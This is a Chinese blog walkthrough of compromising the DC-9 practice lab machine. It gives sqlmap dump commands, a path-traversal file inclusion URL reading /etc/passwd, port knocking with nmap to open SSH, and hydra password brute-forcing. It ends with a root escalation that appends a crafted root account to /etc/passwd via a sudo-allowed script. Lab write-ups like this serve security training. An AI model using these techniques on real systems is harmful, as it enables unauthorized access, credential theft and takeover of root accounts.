主机DC-9

主机DC-9

信息收集

扫描IP

扫描端口

查看技术栈信息

扫描目录

漏洞利用

发现sql注入

发现注入点

sqlmap跑一下获取信息

登录 页面发现有个sql注入,拿到sqlmap跑一下

sqlmap -r 111 --batch -dbs

sqlmap -r 111 --batch -D users --dump 数据库users

sqlmap -r 111 --batch -D Staff --dump 数据库Staff

admin密码MD5解密后:transorbital1

跑出账号密码,结果发现这个账号密码无效

无语😶

admin登录,显示文件不存在

为什么会出现这个原因呢???

  • 当我们输入账号密码完成页面登录后,网站会自动指定并加载下一个页面路径,以此完成跳转
  • 此时后端代码存在缺陷,导致路径跳转出错,就会显示文件不存在
  • 如何被代码审计不严谨,会导致这里存在文件包含漏洞,最终出现登录成功文件却不存在的可被利用的漏洞现象

试一下文件包含 ---最先尝试file参数 路径穿越

发现文件包含

尝试用日志文件包含失败

日志文件路径:

/var/log/apache2/error.log

/var/log/httpd/error_log

http://192.168.222.137/welcome.php?file=../../../../../../etc/passwd

日志文件包含,写入一句话木马

结果是访问不了日志文件,应该是权限不够

换一种思路

开启ssh服务 ---端口敲门文件

发现ssh服务状态未开启 ---过滤状态

欸?被拒绝?我们返回看一下ssh服务状态

filtered 过滤

  • 端口探测包被防火墙 / 安全设备拦截,无响应返回

如何解决filtered状态ssh服务???

用文件包含访问一下WP端口敲门文件

访问一下端口敲门文件

  • 是Linux 下knockd服务的专属核心配置文件
  • /etc/knocked.conf文件是端口敲门的(端口敲门:如果要访问22端口,如必须先访问1111,2222,3333端口后才能访问22端口)

这文件啥意思呢?

✅ 核心模块 1:[openSSH] → 「临时放行你的 IP 访问 22 端口」(重中之重)

[openSSH]
sequence = 7469,8475,9842 # 触发放行的「端口探测序列」:必须按【7469 → 8475 → 9842】顺序,向靶机发送TCP SYN包
seq_timeout = 25 # 序列探测的超时时间:25秒内完成3个端口的顺序探测,超时失效
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # 触发成功后执行的核心命令:给你的IP(%IP%)添加iptables白名单,放行22端口访问
tcpflags = syn # 探测数据包的类型:必须是TCP SYN包(端口扫描的标准包类型)

✅ 核心模块 2:[closeSSH] → 「取消你的 IP 放行,恢复封禁」

[closeSSH]
sequence = 9842,8475,7469 # 触发关闭的「端口探测序列」:按【9842 → 8475 → 7469】逆序探测
seq_timeout = 25 # 同样25秒超时限制
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # 核心命令:删除你的IP的22端口放行规则,恢复防火墙封禁
tcpflags = syn

nmap -p 7469 -sS -Pn 192.168.222.137

nmap -p 8475 -sS -Pn 192.168.222.137

nmap -p 9842 -sS -Pn 192.168.222.137

解决成功.

shell提权开始

测试ssh连接有效密码

hydra破解一下密码(看一下有几个有效的密码)

hydra -L userlist.txt -P passlist.txt 192.168.222.137 ssh

ssh远程登录

三个都登录进去。发现janitor多个一个目录

进入这个目录,发现一个密码文件

验证一下密码是谁的,先把密码导入文件中

echo >> passlist.txt <<EOF

BamBam01

Passw0rd

smellycats

P0Lic#10-4

B4-Tru3-001

4uGU5T-NiGHts

EOF

重新hydra爆破

获取到账号密码

再次ssh登录

  • 这次发现了一个重要文件脚本

sudo -l

发现有个文件可以利用

执行一下,让我们先读test.py

我们找一下这个文件在哪里

find / -name test.py 2>/dev/null

脚本内容:

这是一个 文件内容复制工具,作用是:读取第一个文件里的所有内容,完整追加写入到第二个文件末尾,实现「文件内容合并」效果。

提权思路

写入一个管理员用户,写在文件1,利用这个文件,把文件1拼接到/etc/passwd中!这样即可提权

生成 MD5 crypt 密码哈希的标准命令

openssl passwd -1 -salt sassb 123456

这个一会要写入/etc/passwd 所以密码格式要符合 MD5crypt加密

写入,拼接文件

echo 'sassb:$1$sassb$IvBlUCmefico.wPvouqm61:0:0::/root:/bin/bash' >> /tmp/ppp

  • 给宿主机写入一个管理员用户
  • /tmp/ppp只是随便写入的一个文件名

sudo ./test /tmp/ppp /etc/passwd

  • 利用test脚本让它拼接到/etc/passwd

cat /etc/passwd

切换用户

su sassb

输入密码:123456

提权成功

posted @ 2025-12-31 10:49  知足常福  阅读(0)  评论(0)    收藏  举报